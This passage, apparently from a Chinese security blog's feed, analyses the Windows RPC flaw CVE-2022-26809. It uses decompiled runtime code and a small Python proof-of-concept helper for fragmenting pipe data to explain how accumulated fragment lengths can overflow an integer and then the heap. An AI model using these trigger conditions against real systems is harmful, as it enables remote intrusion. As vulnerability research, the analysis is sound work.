class="line">a1-&gt;UnMarshalLength = UnMarshalLength;</span><br><span class="line">a1-&gt;Length = ChunkNum;</span><br><span class="line"><span class="keyword">if</span> ( ChunkNum )</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span> ( a1-&gt;minSize &gt; ChunkNum || a1-&gt;MaxSize &lt; ChunkNum )<span class="comment">// shellcode需要精心构造，不然会陷入这里</span></span><br><span class="line">        <span class="built_in">NdrpRaisePipeException</span>(a1, <span class="number">1734</span>);</span><br><span class="line">    a1-&gt;state = <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span> ( !hasChunkTailCounterFlag )</span><br><span class="line">    &#123;</span><br><span class="line">        a1-&gt;hasChunkTailCounterFlag |= <span class="number">1u</span>;</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    a1-&gt;hasChunkTailCounterFlag |= <span class="number">2u</span>;</span><br><span class="line">    a1-&gt;state = <span class="number">4</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>state=1</code>的时候。会尝试读取NDR数据段中的<code>chunk</code>字段，并且检查chunk的长度是否在规定长度内。（这点就要吐槽了一下，规定中这个chunk应该是无限长度的，这个地方居然有maxsize。。）如果<code>ChunkNum(也就是chunk字段)</code>不为0的时候，进入状态1：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">Buffer = a2-&gt;Buffer;</span><br><span class="line">a2-&gt;Buffer = (~a1-&gt;int60 &amp; &amp;Buffer[a1-&gt;int60]);<span class="comment">// align</span></span><br><span class="line">ContentBufferLength = <span class="built_in">LODWORD</span>(a2-&gt;RpcMsg-&gt;Buffer) + a2-&gt;RpcMsg-&gt;BufferLength - <span class="built_in">LODWORD</span>(a2-&gt;Buffer);</span><br><span class="line"><span class="keyword">if</span> ( ContentBufferLength &lt; <span class="number">0</span> )          <span class="comment">// remove NDR header</span></span><br><span class="line">&#123;</span><br><span class="line">    a2-&gt;Buffer = Buffer;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">ElemSize = a1-&gt;WireSize;</span><br><span class="line"><span class="keyword">if</span> ( ElemSize &gt; ContentBufferLength ) <span class="comment">// 一般是不满足的</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span> ( !ContentBufferLength )</span><br><span class="line">    &#123;</span><br><span class="line">    a1-&gt;int78 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    a1-&gt;state = <span class="number">2</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这边首先会计算<code>ContentBufferLength</code>，这边的<code>a2-&gt;RpcMsg-&gt;Buffer</code>其实就是未处理过的Buffer，指向我们发来的NDR数据（含头部），<code>a2-&gt;Buffer</code>是<strong>NDR数据（不含头部）的起始地址</strong>。这个算法就能计算出来<code>NDR body</code>的大小。然后取出来的<code>ElemSize</code>表示的是pipe数据结构中，每个元素的大小。如果我们传输的是long结构体，这个地方大小就是4。之后就会进入拷贝的前的检查逻辑:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( !readReadLength )</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line"><span class="keyword">if</span> ( (ElemSize &amp; a1-&gt;int60) != <span class="number">0</span> )</span><br><span class="line">    elem_pad = a1-&gt;int60 - (ElemSize &amp; a1-&gt;int60) + <span class="number">1</span>;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    elem_pad = <span class="number">0</span>;</span><br><span class="line">ContentElemCnt = (ContentBufferLength + elem_pad) / (ElemSize + elem_pad);</span><br><span class="line">PipePrepareLength = a1-&gt;Length;</span><br><span class="line"><span class="keyword">if</span> ( ContentElemCnt &lt;= PipePrepareLength )</span><br><span class="line">    PipePrepareLength = ContentElemCnt;</span><br><span class="line">finaRead = <span class="number">0</span>;</span><br><span class="line">readLength = readReadLength;</span><br><span class="line"><span class="keyword">if</span> ( PipePrepareLength &lt;= readReadLength )</span><br><span class="line">    readLength = PipePrepareLength;</span><br><span class="line"><span class="built_in">NdrpPipeElementConvertAndUnmarshal</span>(a1, a2, v6, readLength, &amp;finaRead);</span><br><span class="line">v36 = finaRead;</span><br><span class="line">readReadLength -= finaRead;</span><br><span class="line">a1-&gt;Length -= finaRead;</span><br><span class="line">*hasReadElem_ptr += v36;</span><br><span class="line"><span class="keyword">if</span> ( !a1-&gt;Length )</span><br><span class="line">&#123;</span><br><span class="line">    a1-&gt;state = hasChunkTailCounterFlag != <span class="number">0</span> ? <span class="number">4</span> : <span class="number">0</span>;</span><br><span class="line"><span class="keyword">if</span> ( !readReadLength )</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这边会根据当前数据的padding，当前缓存的大小，以及指定要读取的数据大小，选取一个合适大小的BufferLength，并且最后调用<code>NdrpPipeElementConvertAndUnmarshal</code>来进行pipe的数据反序列化。当读取完成之后，会减小<code>readReadLength</code>的大小，并且iang实际上读取出来的数据加到<code>hasReadElem_ptr</code>，也就是我们前文提到的<code>hasReadElem</code>中。</p><p>可以看到，只要数据能够读入的场合，基本上这个<code>hasReadElem</code>就会被设置。所以只能锁定在之前提到的一个位置：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">ContentBufferLength = <span class="built_in">LODWORD</span>(a2-&gt;RpcMsg-&gt;Buffer) + a2-&gt;RpcMsg-&gt;BufferLength - <span class="built_in">LODWORD</span>(a2-&gt;Buffer);</span><br><span class="line"><span class="keyword">if</span> ( ContentBufferLength &lt; <span class="number">0</span> )          <span class="comment">// remove NDR header</span></span><br><span class="line">&#123;</span><br><span class="line">    a2-&gt;Buffer = Buffer;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">ElemSize = a1-&gt;WireSize;</span><br><span class="line"><span class="keyword">if</span> ( ElemSize &gt; ContentBufferLength ) <span class="comment">// 一般是不满足的</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span> ( !ContentBufferLength )</span><br><span class="line">    &#123;</span><br><span class="line">    a1-&gt;int78 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    a1-&gt;state = <span class="number">2</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>虽然这里说【一般不满足】，但是不妨设想一个场景：如果在反序列化的过程中，如果此时的pipe的头部已经来到了，但是<strong>body却没有及时传输过来</strong>，此时理论上就不应该进行反序列化。从代码上也能看出，如果头部正好过来了，但是body没有过来的场合，此时甚至无法满足<code>ElemSize&gt;ContentBufferLength</code>，于是就会进入后文提到的<code>NdrPartialReceive</code>，从逻辑上讲就是<strong>先将分片进行合并，然后再对其进行数据解析</strong>。<br>不过经过POC测试，由于分片的时候，长度会增加4字节，基本上Buffer的长度维持和分片长度倍数的情况下，都能满足:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">format_fragment_data</span>(<span class="params">data, frag_size</span>):</span><br><span class="line">    data_len = <span class="built_in">len</span>(data)</span><br><span class="line">    frag_size -= <span class="number">4</span></span><br><span class="line">    <span class="keyword">if</span> data_len &lt; frag_size:</span><br><span class="line">        <span class="keyword">return</span> u32(<span class="built_in">len</span>(data)//<span class="number">4</span>) + data + u32(<span class="number">0</span>)</span><br><span class="line">    start_index = <span class="number">0</span></span><br><span class="line">    outer = <span class="string">b&quot;&quot;</span></span><br><span class="line">    <span class="keyword">while</span> data_len &gt; <span class="number">0</span>:</span><br><span class="line">        outer += u32(frag_size//<span class="number">4</span>)</span><br><span class="line">        outer += data[start_index:start_index+frag_size]</span><br><span class="line">        data_len -= frag_size</span><br><span class="line">        start_index += frag_size</span><br><span class="line">        <span class="keyword">if</span> data_len &lt; frag_size:</span><br><span class="line">            <span class="comment"># print(u32(data_len))</span></span><br><span class="line">            outer += u32(data_len//<span class="number">4</span>)</span><br><span class="line">            outer += data[start_index:start_index+data_len]</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> outer+u32(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">dce.set_max_fragment_size(frag_size)</span><br><span class="line">data = <span class="string">b&#x27;B&#x27;</span>*((frag_size)*<span class="number">2</span>)</span><br><span class="line">data = format_fragment_data(data, frag_size)</span><br></pre></td></tr></table></figure><h3 id="关键点-osf-scall-getcoalescedbuffer-漏洞触发">关键点 <code>OSF_SCALL::GetCoalescedBuffer</code> 漏洞触发</h3><p>这个函数理论也被微软进行了修复:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"> fForceExtra = a2-&gt;RpcFlags &amp; <span class="number">0x4000</span>;</span><br><span class="line">  v6 = <span class="number">0</span>;</span><br><span class="line">  v20 = <span class="number">0</span>;</span><br><span class="line">  v7 = Extra | fForceExtra;</span><br><span class="line">  v8 = a2;</span><br><span class="line">  <span class="built_in">RtlEnterCriticalSection</span>(&amp;<span class="keyword">this</span>-&gt;rtl_critical_section1E0);</span><br><span class="line">  v10 = <span class="keyword">this</span>-&gt;receiveLengthVuln;</span><br><span class="line">  <span class="keyword">if</span> ( !v10 )</span><br><span class="line">    <span class="keyword">goto</span> LABEL_8;</span><br><span class="line">  <span class="keyword">if</span> ( v7 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( <span class="built_in">UIntAdd</span>(v10, v8-&gt;BufferLength, &amp;Size) &lt; <span class="number">0</span> )  <span class="comment">// 修复后，修复前为整数溢出</span></span><br><span class="line">    &#123;</span><br><span class="line">      v6 = <span class="number">1734</span>;</span><br><span class="line">LABEL_8:</span><br><span class="line">      MUTEX::<span class="built_in">Clear</span>(v3);</span><br><span class="line">      <span class="keyword">return</span> v6;</span><br><span class="line">    &#125;</span><br><span class="line">    v10 = Size;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( OSF_SCALL::<span class="built_in">TransGetBuffer</span>(v9, &amp;v23, v10 + <span class="number">24</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    v6 = <span class="number">14</span>;</span><br><span class="line">    <span class="keyword">goto</span> LABEL_8;</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><p>可以看到，<code>v10</code>这个变量再<code>v7</code>被设置为<code>Extra</code>的时候，能够再次叠加一个Buffer，然后在之后的逻辑中:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">v16 = QUEUE::<span class="built_in">TakeOffQueue</span>(&amp;<span class="keyword">this</span>-&gt;osf_scall258, &amp;Size);</span><br><span class="line"> <span class="keyword">if</span> ( v16 )</span><br><span class="line"> &#123;</span><br><span class="line">   v17 = v23;</span><br><span class="line">   <span class="keyword">do</span></span><br><span class="line">   &#123;</span><br><span class="line">     v18 = Size;</span><br><span class="line">     <span class="built_in">memcpy_0</span>(v17, v16, Size);</span><br><span class="line">     v17 += v18;</span><br><span class="line">     (*(*<span class="keyword">this</span>-&gt;Connection + <span class="number">64</span>i64))(<span class="keyword">this</span>-&gt;Connection, v16 - <span class="number">24</span>);</span><br><span class="line">     v16 = QUEUE::<span class="built_in">TakeOffQueue</span>(&amp;<span class="keyword">this</span>-&gt;osf_scall258, &amp;Size);</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">while</span> ( v16 );</span><br><span class="line">   v8 = a2;</span><br><span class="line">   v3 = &amp;<span class="keyword">this</span>-&gt;rtl_critical_section1E0;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>会将之前<strong>Queue</strong>中的数据包和长度一并取出来，拷贝到对应的Buffer中。此时如果发生过整数溢出<code>v17</code>长度必定不可控，而且内存还是由我们控制的，是一个很容易利用的漏洞。</p><h5 id="无法造成的溢出？">无法造成的溢出？</h5><p>诚然，可以看到这个程序中调用了函数</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">OSF_SCALL::<span class="built_in">TransGetBuffer</span>(v9, &amp;v23, v10 + <span class="number">24</span>)</span><br></pre></td></tr></table></figure><p>这边的<code>v10</code>就算无法触发<code>v7</code>，进入<code>Extra</code>状态，理论上也应该还能叠加一个我们前文控制的<code>receiveLengthVuln</code>。然而再实际测试过程中，我发现几个点：</p><ul><li><code>FragmentLength</code>本身存在长度限制（ushort类型，长度最长只能为0xffff，而且实际上设置不了这么大）</li><li>当进行多个数据包发送的过程中，每次数据包发送累计到一定的数量的时候，都会强行进入<code>GetCoalescedBuffer</code>。再开始的几个包肯定不足以造成溢出，并且最重要的是再<code>GetCoalescedBuffer</code>函数末尾，存在如下的逻辑</li></ul>  <figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">v8-&gt;Buffer = v12;</span><br><span class="line">v8-&gt;BufferLength = v10;</span><br><span class="line">v19 = <span class="keyword">this</span>-&gt;CurrentState == <span class="number">3</span>;</span><br><span class="line"><span class="keyword">this</span>-&gt;receiveLengthVuln = <span class="number">0</span>;</span><br></pre></td></tr></table></figure><p>一旦进入这个函数，则<code>receiveLengthVuln</code>就会被置为0.。。。从而造成无法溢出的问题。然而再这个函数的外层，存在这样的逻辑:</p>  <figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">result = OSF_SCALL::<span class="built_in">GetCoalescedBuffer</span>(<span class="keyword">this</span>, a2, Extra);</span><br><span class="line"> <span class="keyword">if</span> ( result || (a2-&gt;RpcFlags &amp; <span class="number">0x2000</span>) != <span class="number">0</span> &amp;&amp; a2-&gt;BufferLength &gt;= Size )<span class="comment">// Size is each time server will receive size</span></span><br><span class="line">   <span class="keyword">return</span> result;</span><br><span class="line"> Extra = <span class="number">1</span>;</span><br></pre></td></tr></table></figure><p>如果<code>BufferLength &gt;= Size</code>，则会被返回。。。</p><h4 id="漏洞点触发关键">漏洞点触发关键</h4><p>但是仔细看函数的外部，会发现这个<code>OSF_SCALL::GetCoalescedBuffer</code>其实存在被<strong>多次调用的可能</strong>：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( <span class="keyword">this</span>-&gt;receiveLengthVuln &lt;= *(<span class="keyword">this</span>-&gt;Connection + <span class="number">92</span>) )<span class="comment">// Connection-&gt;MaxFrag</span></span><br><span class="line">      &#123;</span><br><span class="line">        EVENT::<span class="built_in">Wait</span>(&amp;<span class="keyword">this</span>-&gt;pvoid2C0, <span class="number">-1</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">      &#123;</span><br><span class="line">        result = OSF_SCALL::<span class="built_in">GetCoalescedBuffer</span>(<span class="keyword">this</span>, a2, Extra);</span><br><span class="line">        <span class="keyword">if</span> ( result || (a2-&gt;RpcFlags &amp; <span class="number">0x2000</span>) != <span class="number">0</span> &amp;&amp; a2-&gt;BufferLength &gt;= Size )<span class="comment">// Size is each time server will receive size</span></span><br><span class="line">          <span class="keyword">return</span> result;</span><br><span class="line">        Extra = <span class="number">1</span>;</span><br><span class="line">      &#125;</span><br></pre></td></tr></table></figure><p>从逻辑上看,<code>a2-&gt;BufferLength</code>存放了之前累计传入的Buffer的总长度。<strong>一旦传入的长度没能达到<code>Size</code>的大小</strong>，此时的Buffer就会依然被认为是<code>Extra</code>Buffer，此时会进入<code>EVENT::Wait(&amp;this-&gt;pvoid2C0, -1);</code>，此时程序流会重新交给<code>ProcessReceivedPDU</code>，让程序能够对数据包进行进一步的读取。当满足一定的条件，这边的<code>Event</code>会被重新唤醒，此时<strong>之前存入的a2的Buffer</strong>就能一次又一次的叠加到当前Buffer上面，同时<code>BufferLength</code>也会反复的进行数值叠加。如果能够控制这个值，就能够实现发送大量重复的数据包，从而实现整数溢出！</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">GetCoalescedBuffer -&gt; a2-&gt;BufferLength = Receive1 -&gt; a2-&gt;BufferLength &lt; Size, it will wait -&gt; ProcessReceivedPDU -&gt; a2-&gt;BufferLength += Receive2 -&gt;  a2-&gt;BufferLength &lt; Size, it will wait ......</span><br><span class="line">-&gt; a2-&gt;BufferLength += Receiven, interger overflow!</span><br></pre></td></tr></table></figure><h4 id="size到底是啥">Size到底是啥</h4><p>这个要回到之前<code>Pipe</code>教学的时候提到的<code>BigPipe</code>概念。这个Size其实表示的<strong>当前pipe中能够存放的未合并的Buffer大小</strong>，这个大小在一开始由<code>MDIL</code>生成的文件中的<code>xxx_s.c</code>中的<code>FormatString</code>结构体中可以被修改：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*  8 */</span><span class="number">0xb5</span>,<span class="comment">/* FC_PIPE 对应FC 也就是pipe的魔数*/</span></span><br><span class="line"><span class="number">0x3</span>,<span class="comment">/* 3 对应【pipe符号位】，后面要考*/</span></span><br><span class="line"><span class="comment">/* 10 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0xfffc</span> ),<span class="comment">/* Offset= -4 (6) 对应TypeOffset */</span></span><br><span class="line"><span class="comment">/* 12 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x4</span> ),<span class="comment">/* 4 对应前文用于check的Size，其大小需要和Size对齐，其根据pipe符号位可以改变为4字节*/</span></span><br><span class="line"><span class="comment">/* 14 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x4</span> ),<span class="comment">/* 4 对应上文的Size，其根据pipe符号位可以改变为4字节*/</span></span><br><span class="line"><span class="comment">/* 16 */</span></span><br><span class="line"><span class="number">0x11</span>, <span class="number">0x4</span>,<span class="comment">/* FC_RP [alloced_on_stack] */</span></span><br><span class="line"><span class="comment">/* 18 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x4</span> ),<span class="comment">/* Offset= 4 (22) */</span></span><br><span class="line"><span class="comment">/* 20 */</span><span class="number">0x8</span>,<span class="comment">/* FC_LONG */</span></span><br><span class="line"><span class="number">0x5c</span>,<span class="comment">/* FC_PAD */</span></span><br></pre></td></tr></table></figure><p>也就是这一段。这里的<code>Size</code>就是我们之前提到的，检查<code>GetCoalescedBuffer</code>调用结束后，读到的BufferLength是否过大的<code>Size</code>，可以看到这个地方仅为4（默认大小），并且如前文提到的，这个值会在<code>NdrReadPipeElements</code>中被设置为<code>0x40</code>。此时可以发现，其大小最多仅为<code>Short</code>，如果我们把pipe符号位设置成<code>0x83</code>，那么这个字段则可扩展为<code>Long</code>，此时就能扩展数据，让其变成一个非常大的值。当这个Size足够大的时候，我们上文提到的<code>GetCoalescedBuffer</code>就能被反复调用，于是造成整数溢出的问题。</p><h4 id="关于processreceivedpdu和getcoalescedbuffer的时机">关于ProcessReceivedPDU和GetCoalescedBuffer的时机</h4><p>现在已经能够知道如何触发漏洞点，所以，现在需要具体的确认这两个函数的调用时机。整个过程比较长，这边整理一下大致的调用逻辑如下：</p><ol><li>第一次进入<code>ProcessReceivedPDU</code>，接受大小正好的包，进行dispatch。</li><li>Dispatch过程中，会首先对Pipe进行初始化，<strong>（没错，这个时候才会初始化pipe对象，也就是调用<code>InitPipeStateWithType</code>系列函数）</strong>，之后会将RPC发送到<code>InPipe</code>（一个Server侧编写的函数，这边取个简单的名字）</li><li><code>InPipe</code>通过调用<code>NdrReadPipeElements</code>，<code>NdrReadPipeElements</code>调用<code>NdrpReadPipeElementsFromBuffer</code>对数据进行读取。</li><li>当<code>NdrpReadPipeElementsFromBuffer</code>中，<strong>当前NDR中Pipe的元素耗尽的时候（其实据观察，应该是发生了分片的场合）</strong>，发生<code>NdrPartialReceive</code>调用，表示当前需要将之前的缓存的Buffer读出来</li><li>当<code>Receive</code>调用的时候，此时由于未收到<code>PFC_FRAG_LAST</code>，调用未完成，于是进入<code>Default分支</code>，从而进入<code>GetCoalescedBuffer</code>分支。</li><li>再分支中，会依次将<strong>之前ProcessReceivedPDU</strong>读入的Buffer一次次记录下来。注意，<code>MaxFrag</code>只是用来控制<code>Fragment</code>的合并，不会导致当前叠加的退出。</li><li>所以可以存在如下的的场景:<br>假设size的大小合适的话</li></ol><ul><li>满足<code>ProcessReceivedPDU</code>接收到的包大小控制合适</li><li>满足<code>GetCoalescedBuffer</code>中判断的<code>Size</code>大小合适的话</li></ul><p>当发生一次<code>GetCoalsedcedBuffer</code>就能造成溢出<br>8. 当接受过一次的包，如果满足大小小于size，此时的<code>GetCoalescedBuffer</code>线程会调用<code>Event.Wait(-1)</code>，此时会导致其他线程被激活，从而能够继续调用<code>ProcessReceivedPDU</code>，然后就能回到1调用。</p><p>调用示意图如下:</p><p><img src="/2022/04/30/Windows-CVE-2022-26809/RPC08.png" alt=""></p><h3 id="漏洞总结：">漏洞总结：</h3><p>触发条件</p><ol><li>RPC Server端存在一个Pipe类型的接口（这个Pipe是RPC里面定义的Pipe，不是命名管道那个），不妨叫做RPC_PIPE1</li><li>RPC Client往RPC_PIPE1发送【较大数据】，数据大小超出【client端设置的max_fragment】</li><li>RPC Server端会收到分片的数据包。当RPC Server收到数据包之后，存在两个判断值</li></ol><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Alloc Hint &lt;- Client推荐Server分配的内存大小，可以远大于 Frag Size。限制最大为<span class="number">0xffffff</span></span><br><span class="line">Frag Size &lt;- Client实际有效数据大小。通常小于Alloc Hint</span><br></pre></td></tr></table></figure><p>当某次发送<code>FragSize==AllocHint</code>的时候，当前数据包被处理。之后的数据包<strong>进入缓存状态</strong><br>4. 缓存状态下，存在一个缓存buffer（漏洞点）其长度为<code>BufferLength</code>。每次数据包进入缓存状态之后，都有</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">PutOnQueue(buffer, bufferLength); //临时存放到某个队列里面</span><br><span class="line">BufferLength += FragSize</span><br></pre></td></tr></table></figure><p>上述BufferLength存在整数溢出。<br>5. 当接收到<code>最后一个数据包（标志位由Client设定）</code>的时候，进入<code>GetCoalescedBuffer</code>函数，此时会申请一个<code>BufferLength</code>大小的堆，然后将之前压入Queue的数据包取出来，依次拷贝进去</p><p>理论上只要我们发送的fragment够多，BufferLength就会发生整数溢出，变成一个很小的值，此时我们取出来的数据包就能实现一个堆溢出攻击</p><h3 id="poc？">POC？</h3><p>实际上，一趟分析下来，感觉整个漏洞利用有一点点理想化了。可以看到如下的限制</p><p><strong>服务端</strong></p><ul><li>服务端需要使用了Pipe结构</li><li>服务端需要主动<strong>修改Pipe Flag</strong>。实际上这个Flag从官方文档中并没有提到，而且再官方给出的编程说明中，也往往是推荐直接使用<code>midl</code>进行生成，这个时候根本就不会修改将当前标志位修改成可以被利用的状态</li></ul><p><strong>网络状态</strong><br>从分析来看，至少需要溢出DWORD大小的数据，而关于<code>fragment</code>设置的大小，虽然规定大小是short大小，但是实际上尝试的时候发现，微软客户端会限制发送大小，<strong>单次只能发送5000字节</strong>，而如果要造成<code>DWORD</code>的数据发生溢出，至少要发送10000000左右个数据包才能造成溢出，而且RPC的库中，通常存在超时认证，也就是发送如此大数量的数据包，同时还不能因为超时被kill，感觉其难度非常的大。。。</p><h2 id="总结">总结</h2><p>总的来说，这趟分析下来，感觉攻击利用的难度非常大：非常极端的服务器配置，非常高性能的请求要求，让人有点点不解为啥价值9.8的分数。。。可能是由于我能力比较差，只能分析到这个程度了，要是有大佬能够愿意指点就好了。</p><p>PS：全文提到的测试的代码源于<a href="https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds">微软官方仓库</a>，相关的代码可以<a href="https://github.com/yuanLink/CVE-2022-26809">这里下载</a></p><h2 id="参考链接">参考链接</h2><p><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/543b0019-e8ea-4b58-b4d5-324fd692966d">https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/543b0019-e8ea-4b58-b4d5-324fd692966d</a><br><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/ccc4fb75-1c86-41d7-bbc4-b278ec13bfb8">https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/ccc4fb75-1c86-41d7-bbc4-b278ec13bfb8</a><br><a href="https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm">https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm</a><br><a href="https://pubs.opengroup.org/onlinepubs/9629399/chap14.htm">https://pubs.opengroup.org/onlinepubs/9629399/chap14.htm</a><br><a href="https://www.youtube.com/watch?v=GGlwy3_jVYE">https://www.youtube.com/watch?v=GGlwy3_jVYE</a><br><a href="https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/">https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/</a><br><a href="https://corelight.com/blog/another-day-another-dce-rpc-rce">https://corelight.com/blog/another-day-another-dce-rpc-rce</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;a href=&quot;http://showlinkroom.me/2022/04/30/WindowsRPCStudy/&quot;&gt;书接上篇&lt;/a&gt;，这边将对漏洞相关细节进行一些分析:&lt;/p&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="Windows" scheme="https://showlinkroom.me/tags/Windows/"/>
    
    <category term="RPC" scheme="https://showlinkroom.me/tags/RPC/"/>
    
  </entry>
  
  <entry>
    <title>Windows RPC Study</title>
    <link href="https://showlinkroom.me/2022/04/30/WindowsRPCStudy/"/>
    <id>https://showlinkroom.me/2022/04/30/WindowsRPCStudy/</id>
    <published>2022-04-30T02:18:07.000Z</published>
    <updated>2022-04-30T02:37:23.215Z</updated>
    
